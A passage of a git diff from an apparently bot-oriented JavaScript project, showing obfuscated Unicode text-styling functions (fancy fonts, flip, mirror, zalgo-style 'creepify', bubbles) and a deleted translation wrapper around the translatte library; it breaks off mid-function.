fancy30chrmap={'0':'0','1':'1','2':'2','3':'3','4':'4','5':'5','6':'6','7':'7','8':'8','9':'9','a':'𝛥','b':'𝐵','c':'𝐶','d':'𝐷','e':'𝛯','f':'𝐹','g':'𝐺','h':'𝛨','i':'𝛪','j':'𝐽','k':'𝛫','l':'𝐿','m':'𝛭','n':'𝛮','o':'𝛩','p':'𝛲','q':'𝑄','r':'𝑅','s':'𝑆','t':'𝑇','u':'𝑈','v':'𝛻','w':'𝑊','x':'𝛸','y':'𝑌','z':'𝛧','A':'𝛥','B':'𝐵','C':'𝐶','D':'𝐷','E':'𝛯','F':'𝐹','G':'𝐺','H':'𝛨','I':'𝛪','J':'𝐽','K':'𝛫','L':'𝐿','M':'𝛭','N':'𝛮','O':'𝛩','P':'𝛲','Q':'𝑄','R':'𝑅','S':'𝑆','T':'𝑇','U':'𝑈','V':'𝛻','W':'𝑊','X':'𝛸','Y':'𝑌','Z':'𝛧'};function fancy30(_0x167ed5){const _0x40ee0d=_0x138321;return _0x167ed5[_0x40ee0d(0x203)]('')[_0x40ee0d(0x226)](function(_0x1e9c5b){return fancy30chrmap[_0x1e9c5b]?fancy30chrmap[_0x1e9c5b]:_0x1e9c5b;})['join']('');};const fancy31chrmap={'0':'𝟬','1':'𝟭','2':'𝟮','3':'𝟯','4':'𝟰','5':'𝟱','6':'𝟲','7':'𝟳','8':'𝟴','9':'𝟵','a':'𝞓','b':'𝞑','c':'𝘾','d':'𝘿','e':'𝞢','f':'𝙁','g':'𝙂','h':'𝞖','i':'𝞘','j':'𝙅','k':'𝞙','l':'𝙇','m':'𝞛','n':'𝞜','o':'𝞗','p':'𝞠','q':'𝙌','r':'𝞒','s':'𝙎','t':'𝙏','u':'𝙐','v':'𝝯','w':'𝙒','x':'𝞦','y':'𝙔','z':'𝙕','A':'𝞓','B':'𝞑','C':'𝘾','D':'𝘿','E':'𝞢','F':'𝙁','G':'𝙂','H':'𝞖','I':'𝞘','J':'𝙅','K':'𝞙','L':'𝙇','M':'𝞛','N':'𝞜','O':'𝞗','P':'𝞠','Q':'𝙌','R':'𝞒','S':'𝙎','T':'𝙏','U':'𝙐','V':'𝝯','W':'𝙒','X':'𝞦','Y':'𝙔','Z':'𝙕'};function fancy31(_0x3407a2){const _0x544698=_0x138321;return _0x3407a2[_0x544698(0x203)]('')['map'](function(_0x1ba60a){return fancy31chrmap[_0x1ba60a]?fancy31chrmap[_0x1ba60a]:_0x1ba60a;})[_0x544698(0x20e)]('');};const fancy32chrmap={'0':'0','1':'1','2':'2','3':'3','4':'4','5':'5','6':'6','7':'7','8':'8','9':'9','a':'𝚫','b':'𝚩','c':'𝐂','d':'𝐃','e':'𝚵','f':'𝐅','g':'𝐆','h':'𝚮','i':'𝚰','j':'𝐉','k':'𝐊','l':'𝐋','m':'𝚳','n':'𝚴','o':'𝚯','p':'𝚸','q':'𝐐','r':'𝚪','s':'𝐒','t':'𝚻','u':'𝐔','v':'𝛁','w':'𝐖','x':'𝚾','y':'𝐘','z':'𝚭','A':'𝚫','B':'𝚩','C':'𝐂','D':'𝐃','E':'𝚵','F':'𝐅','G':'𝐆','H':'𝚮','I':'𝚰','J':'𝐉','K':'𝐊','L':'𝐋','M':'𝚳','N':'𝚴','O':'𝚯','P':'𝚸','Q':'𝐐','R':'𝚪','S':'𝐒','T':'𝚻','U':'𝐔','V':'𝛁','W':'𝐖','X':'𝚾','Y':'𝐘','Z':'𝚭'};function fancy32(_0x162a64){const _0x1e9a15=_0x138321;return _0x162a64[_0x1e9a15(0x203)]('')[_0x1e9a15(0x226)](function(_0x57311f){return fancy32chrmap[_0x57311f]?fancy32chrmap[_0x57311f]:_0x57311f;})[_0x1e9a15(0x20e)]('');};const fancy33chrmap={'0':'0','1':'1','2':'2','3':'3','4':'4','5':'5','6':'6','7':'7','8':'8','9':'9','a':'ᗩ','b':'ᗷ','c':'ᑕ','d':'ᗞ','e':'ᗴ','f':'ᖴ','g':'Ꮐ','h':'ᕼ','i':'Ꮖ','j':'ᒍ','k':'Ꮶ','l':'し','m':'ᗰ','n':'ᑎ','o':'ᝪ','p':'ᑭ','q':'ᑫ','r':'ᖇ','s':'ᔑ','t':'Ꭲ','u':'ᑌ','v':'ᐯ','w':'ᗯ','x':'᙭','y':'Ꭹ','z':'Ꮓ','A':'ᗩ','B':'ᗷ','C':'ᑕ','D':'ᗞ','E':'ᗴ','F':'ᖴ','G':'Ꮐ','H':'ᕼ','I':'Ꮖ','J':'ᒍ','K':'Ꮶ','L':'し','M':'ᗰ','N':'ᑎ','O':'ᝪ','P':'ᑭ','Q':'ᑫ','R':'ᖇ','S':'ᔑ','T':'Ꭲ','U':'ᑌ','V':'ᐯ','W':'ᗯ','X':'᙭','Y':'Ꭹ','Z':'Ꮓ'};function fancy33(_0x26a492){const _0x74c43a=_0x138321;return _0x26a492[_0x74c43a(0x203)]('')[_0x74c43a(0x226)](function(_0xd6e4a1){return fancy33chrmap[_0xd6e4a1]?fancy33chrmap[_0xd6e4a1]:_0xd6e4a1;})[_0x74c43a(0x20e)]('');};const tinyChrmap={'0':'0','1':'1','2':'2','3':'3','4':'4','5':'5','6':'6','7':'7','8':'8','9':'9','a':'ᴀ','b':'ʙ','c':'ᴄ','d':'ᴅ','e':'ᴇ','f':'ꜰ','g':'ɢ','h':'ʜ','i':'ɪ','j':'ᴊ','k':'ᴋ','l':'ʟ','m':'ᴍ','n':'ɴ','o':'ᴏ','p':'ᴘ','q':'ϙ','r':'ʀ','s':'ꜱ','t':'ᴛ','u':'ᴜ','v':'ᴠ','w':'ᴡ','x':'x','y':'ʏ','z':'ᴢ','A':'A','B':'ʙ','C':'C','D':'D','E':'E','F':'F','G':'G','H':'H','I':'I','J':'J','K':'K','L':'L','M':'M','N':'N','O':'O','P':'P','Q':'Q','R':'R','S':'S','T':'T','U':'U','V':'V','W':'W','X':'X','Y':'Y','Z':'Z'};function tiny(_0x3fabd6){const _0x1f0158=_0x138321;return _0x3fabd6[_0x1f0158(0x203)]('')[_0x1f0158(0x226)](function(_0x3eb354){return tinyChrmap[_0x3eb354]?tinyChrmap[_0x3eb354]:_0x3eb354;})[_0x1f0158(0x20e)]('');};function ladybug(_0xf1ea89){const _0x4eb001=_0x138321;return _0xf1ea89[_0x4eb001(0x203)]('')[_0x4eb001(0x226)](function(_0x25a637){return ladybugCharMap[_0x25a637]?ladybugCharMap[_0x25a637]:_0x25a637;})[_0x4eb001(0x20e)]('');}function runes(_0x406a16){return _0x406a16['split']('')['map'](function(_0x309596){return runesCharMap[_0x309596]?runesCharMap[_0x309596]:_0x309596;})['join']('');}function serif_B(_0x1cb2c5){const _0x29c0df=_0x138321;return _0x1cb2c5['split']('')[_0x29c0df(0x226)](function(_0x21e549){return serif_BCharMap[_0x21e549]?serif_BCharMap[_0x21e549]:_0x21e549;})[_0x29c0df(0x20e)]('');}function serif_BI(_0x153148){const _0x30a2fb=_0x138321;return _0x153148[_0x30a2fb(0x203)]('')[_0x30a2fb(0x226)](function(_0x3c44ec){return serif_BICharMap[_0x3c44ec]?serif_BICharMap[_0x3c44ec]:_0x3c44ec;})[_0x30a2fb(0x20e)]('');}function serif_I(_0x2b974b){const _0x5e2227=_0x138321;return _0x2b974b[_0x5e2227(0x203)]('')[_0x5e2227(0x226)](function(_0x566ad6){return serif_ICharMap[_0x566ad6]?serif_ICharMap[_0x566ad6]:_0x566ad6;})['join']('');}function wingdings(_0x4dc57a){const _0x1510dc=_0x138321;return _0x4dc57a[_0x1510dc(0x203)]('')[_0x1510dc(0x226)](function(_0x4498ef){return wingdingsCharMap[_0x4498ef]?wingdingsCharMap[_0x4498ef]:_0x4498ef;})[_0x1510dc(0x20e)]('');}function vaporwave(_0x57f31e){const _0x5c6e37=_0x138321;return _0x57f31e[_0x5c6e37(0x203)]('')[_0x5c6e37(0x226)](function(_0x1b5768){return vaporwaveCharMap[_0x1b5768]?vaporwaveCharMap[_0x1b5768]:_0x1b5768;})['join']('');}function sparrow(_0x44b353){const _0x4baa1b=_0x138321;return _0x44b353[_0x4baa1b(0x203)]('')[_0x4baa1b(0x226)](function(_0x28061c){return sparrowCharMap[_0x28061c]?sparrowCharMap[_0x28061c]:_0x28061c;})[_0x4baa1b(0x20e)]('');}function typewriter(_0x57ed59){const _0x4257d6=_0x138321;return _0x57ed59['split']('')[_0x4257d6(0x226)](function(_0x38eec2){return typewriterCharMap[_0x38eec2]?typewriterCharMap[_0x38eec2]:_0x38eec2;})[_0x4257d6(0x20e)]('');}function analucia(_0x562023){const _0x57d128=_0x138321;return _0x562023['split']('')[_0x57d128(0x226)](function(_0x25fa31){return analuciaCharMap[_0x25fa31]?analuciaCharMap[_0x25fa31]:_0x25fa31;})[_0x57d128(0x20e)]('');}module[_0x138321(0x208)]={'randomStyle':_0x25514c=>{const _0x448521=_0x138321;let _0xb6d3d2=listall(_0x25514c);return _0xb6d3d2[Math[_0x448521(0x1f6)](Math[_0x448521(0x1f1)]()*_0xb6d3d2[_0x448521(0x200)])];},'listall':listall,'strikeThrough':strikeThrough,'wingdings':wingdings,'vaporwave':vaporwave,'typewriter':typewriter,'analucia':analucia,'tildeStrikeThrough':tildeStrikeThrough,'underline':underline,'doubleUnderline':doubleUnderline,'slashThrough':slashThrough,'sparrow':sparrow,'heartsBetween':heartsBetween,'arrowBelow':arrowBelow,'crossAboveBelow':crossAboveBelow,'creepify':creepify,'bubbles':bubbles,'mirror':mirror,'squares':squares,'roundsquares':roundsquares,'flip':flip,'tiny':tiny,'createMap':createMap,'serif_I':serif_I,'manga':manga,'ladybug':ladybug,'runes':runes,'serif_B':serif_B,'serif_BI':serif_BI,'serif_I':serif_I,'fancy1':fancy1,'fancy2':fancy2,'fancy3':fancy3,'fancy4':fancy4,'fancy5':fancy5,'fancy6':fancy6,'fancy7':fancy7,'fancy8':fancy8,'fancy9':fancy9,'fancy10':fancy10,'fancy11':fancy11,'fancy12':fancy12,'fancy13':fancy13,'fancy14':fancy14,'fancy15':fancy15,'fancy16':fancy16,'fancy17':fancy17,'fancy18':fancy18,'fancy19':fancy19,'fancy20':fancy20,'fancy21':fancy21,'fancy22':fancy22,'fancy23':fancy23,'fancy24':fancy24,'fancy25':fancy25,'fancy26':fancy26,'fancy27':fancy27,'fancy28':fancy28,'fancy29':fancy29,'fancy30':fancy30,'fancy31':fancy31,'fancy32':fancy32,'fancy33':fancy33}; \ No newline at end of file diff --git a/framework/traduction.js b/framework/traduction.js deleted file mode 100644 index 558c9162..00000000 --- a/framework/traduction.js +++ /dev/null @@ -1,14 +0,0 @@ - - - - - - - - - - - - - -const _0x42989c=_0x13ea;(function(_0xc9ee25,_0x478089){const _0x5a9b9e=_0x13ea,_0x3395be=_0xc9ee25();while(!![]){try{const _0x32b7e6=-parseInt(_0x5a9b9e(0xf9))/0x1+-parseInt(_0x5a9b9e(0x102))/0x2*(-parseInt(_0x5a9b9e(0xf8))/0x3)+-parseInt(_0x5a9b9e(0xfd))/0x4*(parseInt(_0x5a9b9e(0xfc))/0x5)+-parseInt(_0x5a9b9e(0xfa))/0x6+-parseInt(_0x5a9b9e(0xfb))/0x7*(-parseInt(_0x5a9b9e(0x101))/0x8)+parseInt(_0x5a9b9e(0xfe))/0x9*(-parseInt(_0x5a9b9e(0x104))/0xa)+parseInt(_0x5a9b9e(0xf7))/0xb;if(_0x32b7e6===_0x478089)break;else _0x3395be['push'](_0x3395be['shift']());}catch(_0x555ac6){_0x3395be['push'](_0x3395be['shift']());}}}(_0x4368,0x38989));function _0x4368(){const _0x57ff1c=['exports','8vmwEwM','58244qnRhnO','text','20ntVQlO','4601102YYcRog','45aormIE','322151oWcVto','1446648GIOSDJ','2568524fTsipp','5xaVRDF','1189168hfbCCv','583542WzOoKj','translatte'];_0x4368=function(){return _0x57ff1c;};return _0x4368();}const translatte=require(_0x42989c(0xff));async function traduire(_0xd0f5e9,_0x122fd1){const _0x28f876=_0x42989c;try{const _0x164243=await translatte(_0xd0f5e9,_0x122fd1);return _0x164243[_0x28f876(0x103)];}catch(_0x116d9c){throw _0x116d9c;}}function _0x13ea(_0x29b6f1,_0x16085f){const _0x436830=_0x4368();return _0x13ea=function(_0x13ea29,_0x243942){_0x13ea29=_0x13ea29-0xf7;let _0x2783ef=_0x436830[_0x13ea29];return _0x2783ef;},_0x13ea(_0x29b6f1,_0x16085f);}module[_0x42989c(0x100)]=traduire; \ No newline at end of file diff --git a/framework/unicode.js b/framework/unicode.js deleted file mode 100644 index d8126aa3..00000000 --- a/framework/unicode.js +++ /dev/null @@ -1,11 +0,0 @@ - - - - - - - - - - -function _0x4084(){var _0x2308f1=['join','2508690zEegpe','22365XovXMR','665463LfJnFP','mapInverse','middle','diacriticsTop','undefined','diacriticsBottom','707310zfFvnk','charCodeAt','maxHeight','44TrXqTe','bottom','������','toUpperCase','13736uJzoeD','334473TaYmkZ','fromCharCode','map','top','init','floor','charAt','getHTML','8uYjNDJ','1902303SQOCRV','tools','randomization','push','diacriticsMiddle','length','random','430EqniBa','toString',' ','reverse','exports','42pVlIXt','options','
\x0a','pop'];_0x4084=function(){return _0x2308f1;};return _0x4084();}function _0xd0bc(_0x25fa45,_0x189134){var _0x40849f=_0x4084();return _0xd0bc=function(_0xd0bc0e,_0x433eae){_0xd0bc0e=_0xd0bc0e-0x141;var _0x510137=_0x40849f[_0xd0bc0e];return _0x510137;},_0xd0bc(_0x25fa45,_0x189134);}var _0x172457=_0xd0bc;(function(_0x34de55,_0x271978){var _0x4b2da6=_0xd0bc,_0x2c8363=_0x34de55();while(!![]){try{var _0x17b9e1=-parseInt(_0x4b2da6(0x16a))/0x1+-parseInt(_0x4b2da6(0x162))/0x2+-parseInt(_0x4b2da6(0x15c))/0x3+-parseInt(_0x4b2da6(0x169))/0x4*(-parseInt(_0x4b2da6(0x150))/0x5)+parseInt(_0x4b2da6(0x155))/0x6*(parseInt(_0x4b2da6(0x15b))/0x7)+parseInt(_0x4b2da6(0x148))/0x8*(-parseInt(_0x4b2da6(0x149))/0x9)+parseInt(_0x4b2da6(0x15a))/0xa*(parseInt(_0x4b2da6(0x165))/0xb);if(_0x17b9e1===_0x271978)break;else _0x2c8363['push'](_0x2c8363['shift']());}catch(_0x35f086){_0x2c8363['push'](_0x2c8363['shift']());}}}(_0x4084,0x30ca9),module[_0x172457(0x154)]=new StyleText());function StyleText(){var _0x314fb6=_0x172457;this[_0x314fb6(0x14a)]={'flip':{'init':function(){var _0x2b67eb=_0x314fb6;for(i in this[_0x2b67eb(0x142)]){this[_0x2b67eb(0x142)][this[_0x2b67eb(0x142)][i]]=i;}},'encode':function(_0x5a68ff){var _0x20fe26=_0x314fb6,_0x1aea18=[],_0x38cf0f;for(var _0x20b8a1=0x0,_0x2f4b28=_0x5a68ff[_0x20fe26(0x14e)];_0x20b8a1<_0x2f4b28;_0x20b8a1++){_0x38cf0f=_0x5a68ff['charAt'](_0x20b8a1),_0x20b8a1>0x0&&(_0x38cf0f=='̤'||_0x38cf0f=='̗'||_0x38cf0f=='̖'||_0x38cf0f=='̮')?(_0x38cf0f=this[_0x20fe26(0x142)][_0x5a68ff['charAt'](_0x20b8a1-0x1)+_0x38cf0f],_0x1aea18[_0x20fe26(0x158)]()):(_0x38cf0f=this[_0x20fe26(0x142)][_0x38cf0f],typeof _0x38cf0f==_0x20fe26(0x160)&&(_0x38cf0f=_0x5a68ff[_0x20fe26(0x146)](_0x20b8a1))),_0x1aea18[_0x20fe26(0x14c)](_0x38cf0f);}return _0x1aea18[_0x20fe26(0x153)]()[_0x20fe26(0x159)]('');},'decode':function(_0x1a5b4f){var _0x42e21a=_0x314fb6,_0x2b52f7=[],_0x3215f3;for(var _0x813f88=0x0,_0xceb529=_0x1a5b4f['length'];_0x813f88<_0xceb529;_0x813f88++){_0x3215f3=_0x1a5b4f[_0x42e21a(0x146)](_0x813f88),_0x813f88>0x0&&(_0x3215f3=='̤'||_0x3215f3=='̗'||_0x3215f3=='̖'||_0x3215f3=='̮')?(_0x3215f3=this['map'][_0x1a5b4f['charAt'](_0x813f88-0x1)+_0x3215f3],_0x2b52f7[_0x42e21a(0x158)]()):(_0x3215f3=this['map'][_0x3215f3],typeof _0x3215f3==_0x42e21a(0x160)&&(_0x3215f3=_0x1a5b4f[_0x42e21a(0x146)](_0x813f88))),_0x2b52f7['push'](_0x3215f3);}return _0x2b52f7[_0x42e21a(0x153)]()['join']('');},'map':{'a':'ɐ','b':'q','c':'ɔ','d':'p','e':'ǝ','f':'ɟ','g':'ɓ','h':'ɥ','i':'ı','j':'ɾ','k':'ʞ','l':'l','m':'ɯ','n':'u','r':'ɹ','t':'ʇ','v':'ʌ','w':'ʍ','y':'ʎ','A':'∀','B':'ᙠ','C':'Ɔ','D':'ᗡ','E':'Ǝ','F':'Ⅎ','G':'⅁','J':'ſ','K':'⋊','L':'˥','M':'W','P':'Ԁ','Q':'Ό','R':'ᴚ','T':'⊥','U':'∩','V':'Λ','Y':'⅄',0x1:'⇂',0x2:'ᄅ',0x3:'Ɛ',0x4:'ㄣ',0x5:'ގ',0x6:'9',0x7:'ㄥ','&':'⅋','.':'˙','\x22':'„',';':'؛','[':']','(':')','{':'}','?':'¿','!':'¡','\x27':',','<':'>','‾':'_','¯':'_','‿':'⁀','⁅':'⁆','∴':'∵','\x0d':'\x0a','ß':'ᙠ','̈':'̤','ä':'ɐ'+'̤','ö':'o'+'̤','ü':'n'+'̤','Ä':'∀'+'̤','Ö':'O'+'̤','Ü':'∩'+'̤','´':'\x20̗','é':'ǝ'+'̗','á':'ɐ'+'̗','ó':'o'+'̗','ú':'n'+'̗','É':'Ǝ'+'̗','Á':'∀'+'̗','Ó':'O'+'̗','Ú':'∩'+'̗','`':'\x20̖','è':'ǝ'+'̖','à':'ɐ'+'̖','ò':'o'+'̖','ù':'n'+'̖','È':'Ǝ'+'̖','À':'∀'+'̖','Ò':'O'+'̖','Ù':'∩'+'̖','^':'\x20̮','ê':'ǝ'+'̮','â':'ɐ'+'̮','ô':'o'+'̮','û':'n'+'̮','Ê':'Ǝ'+'̮','Â':'∀'+'̮','Ô':'O'+'̮','Û':'∩'+'̮'}},'mirror':{'init':function(){var _0x2ba2f7=_0x314fb6;for(i in this[_0x2ba2f7(0x142)]){this['map'][this[_0x2ba2f7(0x142)][i]]=i;}},'encode':function(_0x48d708){var _0x7a0454=_0x314fb6,_0x4554e1=[],_0x48b3bc,_0x1e52cd=[];for(var _0x5d12c4=0x0,_0x374f76=_0x48d708['length'];_0x5d12c4<_0x374f76;_0x5d12c4++){_0x48b3bc=_0x48d708[_0x7a0454(0x146)](_0x5d12c4),_0x5d12c4>0x0&&(_0x48b3bc=='̈'||_0x48b3bc=='̀'||_0x48b3bc=='́'||_0x48b3bc=='̂')?(_0x48b3bc=this[_0x7a0454(0x142)][_0x48d708[_0x7a0454(0x146)](_0x5d12c4-0x1)+_0x48b3bc],_0x4554e1[_0x7a0454(0x158)]()):(_0x48b3bc=this[_0x7a0454(0x142)][_0x48b3bc],typeof _0x48b3bc==_0x7a0454(0x160)&&(_0x48b3bc=_0x48d708[_0x7a0454(0x146)](_0x5d12c4))),_0x48b3bc=='\x0a'?(_0x1e52cd[_0x7a0454(0x14c)](_0x4554e1[_0x7a0454(0x153)]()[_0x7a0454(0x159)]('')),_0x4554e1=[]):_0x4554e1[_0x7a0454(0x14c)](_0x48b3bc);}return _0x1e52cd[_0x7a0454(0x14c)](_0x4554e1[_0x7a0454(0x153)]()[_0x7a0454(0x159)]('')),_0x1e52cd['join']('\x0a');},'decode':function(_0x690ca3){var _0x994372=_0x314fb6,_0x3c4651=[],_0xbe82d6,_0x53be6a=[];for(var _0x1844e4=0x0,_0x279846=_0x690ca3[_0x994372(0x14e)];_0x1844e4<_0x279846;_0x1844e4++){_0xbe82d6=_0x690ca3[_0x994372(0x146)](_0x1844e4),_0x1844e4>0x0&&(_0xbe82d6=='̈'||_0xbe82d6=='̀'||_0xbe82d6=='́'||_0xbe82d6=='̂')?(_0xbe82d6=this[_0x994372(0x142)][_0x690ca3[_0x994372(0x146)](_0x1844e4-0x1)+_0xbe82d6],_0x3c4651['pop']()):(_0xbe82d6=this[_0x994372(0x142)][_0xbe82d6],typeof _0xbe82d6==_0x994372(0x160)&&(_0xbe82d6=_0x690ca3[_0x994372(0x146)](_0x1844e4))),_0xbe82d6=='\x0a'?(_0x53be6a[_0x994372(0x14c)](_0x3c4651[_0x994372(0x153)]()[_0x994372(0x159)]('')),_0x3c4651=[]):_0x3c4651['push'](_0xbe82d6);}return _0x53be6a['push'](_0x3c4651[_0x994372(0x153)]()[_0x994372(0x159)]('')),_0x53be6a[_0x994372(0x159)]('\x0a');},'map':{'a':'ɒ','b':'d','c':'ɔ','e':'ɘ','f':'Ꮈ','g':'ǫ','h':'ʜ','j':'ꞁ','k':'ʞ','l':'|','n':'ᴎ','p':'q','r':'ɿ','s':'ꙅ','t':'ƚ','y':'ʏ','z':'ƹ','B':'ᙠ','C':'Ɔ','D':'ᗡ','E':'Ǝ','F':'ꟻ','G':'Ꭾ','J':'Ⴑ','K':'⋊','L':'⅃','N':'Ͷ','P':'ꟼ','Q':'Ọ','R':'Я','S':'Ꙅ','Z':'Ƹ',0x1:'',0x2:'',0x3:'',0x4:'',0x5:'',0x6:'',0x7:'','&':'',';':'','[':']','(':')','{':'}','?':'⸮','<':'>','ä':'ɒ'+'̈','ß':'ᙠ','´':'`','é':'ɘ'+'̀','á':'ɒ'+'̀','ó':'ò','ú':'ù','É':'Ǝ'+'̀','Á':'À','Ó':'Ò','Ú':'Ù','`':'´','è':'ɘ'+'́','à':'ɒ'+'́','È':'Ǝ'+'́','ê':'ɘ'+'̂','â':'ɒ'+'̂','Ê':'Ǝ'+'̂','Ø':'ᴓ','ø':'ᴓ'}},'creepify':{'init':function(){var _0x538c15=_0x314fb6;for(var _0x32f684=0x300;_0x32f684<=0x315;_0x32f684++){this['diacriticsTop'][_0x538c15(0x14c)](String[_0x538c15(0x141)](_0x32f684));}for(var _0x32f684=0x316;_0x32f684<=0x333;_0x32f684++){_0x32f684!=0x31a&&_0x32f684!=0x31b&&this[_0x538c15(0x161)][_0x538c15(0x14c)](String[_0x538c15(0x141)](_0x32f684));}this[_0x538c15(0x15f)][_0x538c15(0x14c)](String['fromCharCode'](0x31a)),this[_0x538c15(0x15f)]['push'](String[_0x538c15(0x141)](0x31b));for(var _0x32f684=0x334;_0x32f684<=0x338;_0x32f684++){this['diacriticsMiddle'][_0x538c15(0x14c)](String[_0x538c15(0x141)](_0x32f684));}for(var _0x32f684=0x339;_0x32f684<=0x33c;_0x32f684++){this['diacriticsBottom'][_0x538c15(0x14c)](String[_0x538c15(0x141)](_0x32f684));}for(var _0x32f684=0x33d;_0x32f684<=0x344;_0x32f684++){this[_0x538c15(0x15f)][_0x538c15(0x14c)](String[_0x538c15(0x141)](_0x32f684));}this[_0x538c15(0x15f)][_0x538c15(0x14c)](String[_0x538c15(0x141)](0x344)),this[_0x538c15(0x161)][_0x538c15(0x14c)](String[_0x538c15(0x141)](0x345)),this[_0x538c15(0x15f)][_0x538c15(0x14c)](String['fromCharCode'](0x346)),this[_0x538c15(0x161)][_0x538c15(0x14c)](String['fromCharCode'](0x347)),this[_0x538c15(0x161)][_0x538c15(0x14c)](String['fromCharCode'](0x348)),this[_0x538c15(0x161)][_0x538c15(0x14c)](String[_0x538c15(0x141)](0x349)),this['diacriticsTop'][_0x538c15(0x14c)](String[_0x538c15(0x141)](0x34a)),this[_0x538c15(0x15f)][_0x538c15(0x14c)](String[_0x538c15(0x141)](0x34b)),this[_0x538c15(0x15f)]['push'](String[_0x538c15(0x141)](0x34c)),this[_0x538c15(0x161)][_0x538c15(0x14c)](String[_0x538c15(0x141)](0x34d)),this[_0x538c15(0x161)][_0x538c15(0x14c)](String[_0x538c15(0x141)](0x34e)),this[_0x538c15(0x15f)]['push'](String['fromCharCode'](0x350)),this[_0x538c15(0x15f)]['push'](String[_0x538c15(0x141)](0x351)),this['diacriticsTop']['push'](String[_0x538c15(0x141)](0x352)),this['diacriticsBottom'][_0x538c15(0x14c)](String[_0x538c15(0x141)](0x353)),this[_0x538c15(0x161)][_0x538c15(0x14c)](String['fromCharCode'](0x354)),this[_0x538c15(0x161)][_0x538c15(0x14c)](String[_0x538c15(0x141)](0x355)),this[_0x538c15(0x161)][_0x538c15(0x14c)](String[_0x538c15(0x141)](0x356)),this[_0x538c15(0x15f)][_0x538c15(0x14c)](String[_0x538c15(0x141)](0x357)),this[_0x538c15(0x15f)][_0x538c15(0x14c)](String[_0x538c15(0x141)](0x358)),this['diacriticsBottom']['push'](String['fromCharCode'](0x359)),this['diacriticsBottom'][_0x538c15(0x14c)](String['fromCharCode'](0x35a)),this[_0x538c15(0x15f)][_0x538c15(0x14c)](String[_0x538c15(0x141)](0x35b)),this[_0x538c15(0x161)][_0x538c15(0x14c)](String[_0x538c15(0x141)](0x35c)),this['diacriticsTop'][_0x538c15(0x14c)](String['fromCharCode'](0x35d)),this['diacriticsTop'][_0x538c15(0x14c)](String[_0x538c15(0x141)](0x35d)),this[_0x538c15(0x161)][_0x538c15(0x14c)](String['fromCharCode'](0x35f)),this['diacriticsTop'][_0x538c15(0x14c)](String['fromCharCode'](0x360)),this[_0x538c15(0x15f)][_0x538c15(0x14c)](String[_0x538c15(0x141)](0x361));},'encode':function(_0x444311){var _0x31036a=_0x314fb6,_0x14776b='',_0x4a6843;for(i in _0x444311){_0x4a6843=_0x444311[i];this[_0x31036a(0x156)][_0x31036a(0x15e)]&&(_0x4a6843+=this['diacriticsMiddle'][Math['floor'](Math[_0x31036a(0x14f)]()*this[_0x31036a(0x14d)][_0x31036a(0x14e)])]);if(this['options'][_0x31036a(0x143)]){var _0x5afc41=this[_0x31036a(0x15f)][_0x31036a(0x14e)]-0x1;for(var _0x387a71=0x0,_0x5a5e41=this[_0x31036a(0x156)]['maxHeight']-Math[_0x31036a(0x14f)]()*(this[_0x31036a(0x156)][_0x31036a(0x14b)]/0x64*this[_0x31036a(0x156)]['maxHeight']);_0x387a71<_0x5a5e41;_0x387a71++){_0x4a6843+=this[_0x31036a(0x15f)][Math[_0x31036a(0x145)](Math['random']()*_0x5afc41)];}}if(this['options'][_0x31036a(0x166)]){var _0x3f7111=this[_0x31036a(0x161)][_0x31036a(0x14e)]-0x1;for(var _0x387a71=0x0,_0x5a5e41=this[_0x31036a(0x156)][_0x31036a(0x164)]-Math['random']()*(this[_0x31036a(0x156)]['randomization']/0x64*this['options'][_0x31036a(0x164)]);_0x387a71<_0x5a5e41;_0x387a71++){_0x4a6843+=this[_0x31036a(0x161)][Math[_0x31036a(0x145)](Math[_0x31036a(0x14f)]()*_0x3f7111)];}}_0x14776b+=_0x4a6843;}return _0x14776b;},'decode':function(_0x378d25){var _0x478747=_0x314fb6,_0x4fd93f='',_0x397c17;for(i in _0x378d25){_0x397c17=_0x378d25[i][_0x478747(0x163)](0x0),(_0x397c17<0x300||_0x397c17>0x361)&&(_0x4fd93f+=_0x378d25[i]);}return _0x4fd93f;},'diacriticsTop':[],'diacriticsMiddle':[],'diacriticsBottom':[],'options':{'top':!![],'middle':!![],'bottom':!![],'maxHeight':0xf,'randomization':0x64}},'bubbles':{'init':function(){var _0x2d850b=_0x314fb6;for(var _0x2880b1=0x31;_0x2880b1<=0x39;_0x2880b1++){this['map'][String['fromCharCode'](_0x2880b1)]=String['fromCharCode'](_0x2880b1+0x242f);}this['map']['0']='⓪';for(var _0x2880b1=0x41;_0x2880b1<=0x5a;_0x2880b1++){this[_0x2d850b(0x142)][String[_0x2d850b(0x141)](_0x2880b1)]=String['fromCharCode'](_0x2880b1+0x2475);}for(var _0x2880b1=0x61;_0x2880b1<=0x7a;_0x2880b1++){this[_0x2d850b(0x142)][String[_0x2d850b(0x141)](_0x2880b1)]=String[_0x2d850b(0x141)](_0x2880b1+0x246f);}for(_0x2880b1 in this['map']){this['mapInverse'][this[_0x2d850b(0x142)][_0x2880b1]]=_0x2880b1;}},'encode':function(_0x65ab0a){var _0x19f2c2=_0x314fb6,_0x4b315f='',_0x27e69c,_0x58e2b5=!![];for(i in _0x65ab0a){_0x27e69c=this['map'][_0x65ab0a[i]],typeof _0x27e69c==_0x19f2c2(0x160)&&(_0x65ab0a[i][_0x19f2c2(0x163)](0x0)>=0x21?(_0x27e69c=_0x65ab0a[i]+String[_0x19f2c2(0x141)](0x20dd),!_0x58e2b5&&(_0x27e69c=String[_0x19f2c2(0x141)](0x202f)+String[_0x19f2c2(0x141)](0xa0)+String['fromCharCode'](0xa0)+String[_0x19f2c2(0x141)](0x202f)+_0x27e69c)):_0x27e69c=_0x65ab0a[i]),_0x4b315f+=_0x27e69c,_0x58e2b5=_0x27e69c=='\x0a';}return _0x4b315f;},'decode':function(_0x27fd9d){var _0x5729ac=_0x314fb6,_0x1bdfb5='',_0x16d8f2,_0x44160d='';for(i in _0x27fd9d){_0x16d8f2=this[_0x5729ac(0x15d)][_0x27fd9d[i]],_0x1bdfb5+=typeof _0x16d8f2=='undefined'?_0x27fd9d[i]:_0x16d8f2;}for(i in _0x1bdfb5){_0x16d8f2=_0x1bdfb5[i]['charCodeAt'](0x0),_0x16d8f2!=0xa0&&_0x16d8f2!=0x202f&&_0x16d8f2!=0x20dd&&(_0x44160d+=_0x1bdfb5[i]);}return _0x44160d;},'map':{},'mapInverse':{}},'squares':{'init':function(){},'encode':function(_0x17ace8){var _0x59fc52=_0x314fb6,_0x408ed9='',_0x547d38,_0x393dfc=!![];for(i in 